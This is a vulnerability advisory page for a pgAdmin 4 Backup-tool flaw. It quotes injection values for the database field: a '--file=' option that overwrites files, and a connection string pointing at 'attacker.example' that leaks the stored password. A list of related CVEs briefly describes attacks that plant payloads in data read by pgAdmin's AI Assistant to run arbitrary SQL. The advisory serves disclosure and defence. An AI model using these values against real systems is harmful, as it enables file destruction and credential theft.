CVE-2026-86864
HighCVSS 8.8Exploitation Probability (EPSS)
Low risk32th percentile - higher than 32% of all known CVEs
Summary
In pgAdmin 4's Backup tool, the client-supplied database name was passed to pg_dump as a bare trailing positional argument without validation. Because pg_dump parses options with getopt_long, which permutes arguments, a value beginning with a dash (e.g. --file=/path) was treated as an option, overriding the previously set --file and allowing files to be written outside the File Manager storage directory. The same field also allowed connection-string injection, redirecting pg_dump to an attacker-controlled server along with the database password from the PGPASSWORD environment variable.
Risk Assessment
Any authenticated user with the tools_backup permission (granted to the default User role) can create and overwrite arbitrary files as the pgAdmin operating-system account, including destroying pgAdmin's own configuration database, and can leak database credentials to an attacker-nominated endpoint.
Recommendation
Update pgAdmin 4 to a version containing the fix (9.18 or later), where the database name is supplied via the PGDATABASE environment variable instead of the command-line argument vector. Until patched, restrict the tools_backup permission to trusted users.
Other vulnerabilities in pgAdmin 4
See all- CVE-2026-116241Critical
pgAdmin 4 before 9.19 contains a bypass of the CVE-2026-17566 fix in the Import/Export Data tool. Improper validation of a backslash inside a double-quoted identifier hides a closing parenthesis and executes a TO PROGRAM clause via psql on the pgAdmin host with the OS account privileges.
- CVE-2026-86863Critical
In pgAdmin 4, the 'webserver' authentication source was vulnerable because WebserverAuthentication.get_user() fell back to reading the username directly from inbound HTTP request headers when the WSGI/CGI environment lookup returned nothing. As a result, any client able to reach pgAdmin could supply that header itself and authenticate as any username, including an existing Administrator, without a password. The issue affects versions from 6.2 before 9.18 and only applies when 'webserver' is enabled in AUTHENTICATION_SOURCES.
- CVE-2026-17566Critical
A vulnerability in pgAdmin 4 allows remote code execution (RCE) via injection into the Import/Export Data tool. The validation function incorrectly handles backslashes in SQL strings, enabling bypass of protections and addition of a TO PROGRAM clause to psql commands.
- CVE-2026-17351Critical
A vulnerability in pgAdmin 4 (versions 9.13 to 9.16) allows bypassing the CVE-2026-12045 fix by injecting SQL queries into the AI assistant. An attacker can plant a malicious payload in an object read by the assistant, leading to execution of multiple SQL statements, including write or remote code execution.
- CVE-2026-17349Critical
In the adhoc_connect_server function in pgAdmin 4 9.0-9.16, when a non-owner user clones a server, all columns including credentials (passwords) and ownership flags are copied. This allows an attacker to take over the cloned server and use database passwords belonging to another user (e.g., an administrator).
- CVE-2026-12048Critical
A stored cross-site scripting vulnerability exists in pgAdmin 4 versions 6.0 through 9.15. Text returned by a PostgreSQL server (e.g., object names in errors or EXPLAIN fields) was passed verbatim to html-react-parser, allowing injection of arbitrary HTML, including iframes. An attacker controlling the server or creating a maliciously named object can hijack the victim's pgAdmin session.
- CVE-2026-12046Critical
In pgAdmin 4 versions 6.9 through 9.15, two SQL Editor endpoints lack authentication decorators, allowing unauthenticated attackers to trigger pickle deserialization from server sessions. Exploitation requires additional preconditions (knowledge of SECRET_KEY and write access to sessions directory) to achieve remote code execution.
- CVE-2026-12045Critical
A vulnerability in the pgAdmin 4 AI Assistant allows an attacker who can influence database content read by the assistant to execute arbitrary SQL with the privileges of the pgAdmin user's database role. The flaw stems from missing validation of LLM-generated queries, enabling bypass of read-only mode via injection of commands like COMMIT or ROLLBACK.
- CVE-2026-7813Critical
In pgAdmin 4 server mode, multiple endpoints fetched user-owned objects without filtering by the requesting user's identity, allowing an authenticated user to access another user's private servers, server groups, background processes, and debugger arguments by guessing object IDs. The Shared Servers feature had additional issues including credential leakage, privilege escalation via writable passexec_cmd enabling arbitrary command execution, and owner-data corruption.
- CVE-2025-13780Critical
pgAdmin versions up to 9.10 are affected by a Remote Code Execution (RCE) vulnerability that occurs when running in server mode and performing restores from PLAIN-format dump files. This issue allows attackers to inject and execute arbitrary commands on the server hosting pgAdmin.
Original NVD description (English source)
pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further. The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role. The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value. This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.
Vulnerability data from NVD (NIST) · CISA KEV · EPSS